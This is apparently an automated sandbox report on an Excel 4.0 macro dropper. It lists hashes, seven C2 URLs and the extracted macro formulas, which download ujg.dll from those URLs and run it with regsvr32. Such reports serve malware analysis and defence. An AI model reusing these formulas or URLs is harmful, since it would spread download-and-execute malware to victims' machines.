General

  • Target

    715e95628b32d3f4420f55ccb4e7d7d4d3ad3ce9f1a242ca2d3d6899537a5e11

  • Size

    49KB

  • Sample

    241120-vvarrsznax

  • MD5

    19bf435249b0b0e10074120226cce9cb

  • SHA1

    fdfcaa2f9e7ae097bba4ba1fabc0e127ed5a9b50

  • SHA256

    715e95628b32d3f4420f55ccb4e7d7d4d3ad3ce9f1a242ca2d3d6899537a5e11

  • SHA512

    0be677cb15ff003686cdaa3ad4630b3b4a30ef2bd13675c9c11a3da01ecae0899968f092baf90ee2a4f455edcf2b446fc6cf325b90dfb46c78f12c7f62f95ab6

  • SSDEEP

    1536:UkcEEt24xZdRBzH9hJBrdEwwNXekVIcog:tcEe2Kd3zdtdEwo/z

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://ballpointmedia.com/css/WDvvKlTTncgkazP/

http://www.altoxi.com/UIc/04GtHAQGA/

http://www.apesb.com/language/IgWs7RRV/

http://www.ara-choob.com/data1/Tzm3xsCsT4DScdUFOx/

http://www.techniquesbroadband.net/pay/Bxp/

http://www.arisgears.com/cgi-bin/dkeY/

https://www.manchesterslt.co.uk/a-to-z-of-slt/rNrJKOM2h/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ballpointmedia.com/css/WDvvKlTTncgkazP/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.altoxi.com/UIc/04GtHAQGA/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.apesb.com/language/IgWs7RRV/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ara-choob.com/data1/Tzm3xsCsT4DScdUFOx/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.techniquesbroadband.net/pay/Bxp/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arisgears.com/cgi-bin/dkeY/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.manchesterslt.co.uk/a-to-z-of-slt/rNrJKOM2h/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://ballpointmedia.com/css/WDvvKlTTncgkazP/

xlm40.dropper

http://www.altoxi.com/UIc/04GtHAQGA/

xlm40.dropper

http://www.apesb.com/language/IgWs7RRV/

xlm40.dropper

http://www.ara-choob.com/data1/Tzm3xsCsT4DScdUFOx/

xlm40.dropper

http://www.techniquesbroadband.net/pay/Bxp/

xlm40.dropper

http://www.arisgears.com/cgi-bin/dkeY/

xlm40.dropper

https://www.manchesterslt.co.uk/a-to-z-of-slt/rNrJKOM2h/

Targets

    • Target

      715e95628b32d3f4420f55ccb4e7d7d4d3ad3ce9f1a242ca2d3d6899537a5e11

    • Size

      49KB

    • MD5

      19bf435249b0b0e10074120226cce9cb

    • SHA1

      fdfcaa2f9e7ae097bba4ba1fabc0e127ed5a9b50

    • SHA256

      715e95628b32d3f4420f55ccb4e7d7d4d3ad3ce9f1a242ca2d3d6899537a5e11

    • SHA512

      0be677cb15ff003686cdaa3ad4630b3b4a30ef2bd13675c9c11a3da01ecae0899968f092baf90ee2a4f455edcf2b446fc6cf325b90dfb46c78f12c7f62f95ab6

    • SSDEEP

      1536:UkcEEt24xZdRBzH9hJBrdEwwNXekVIcog:tcEe2Kd3zdtdEwo/z

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks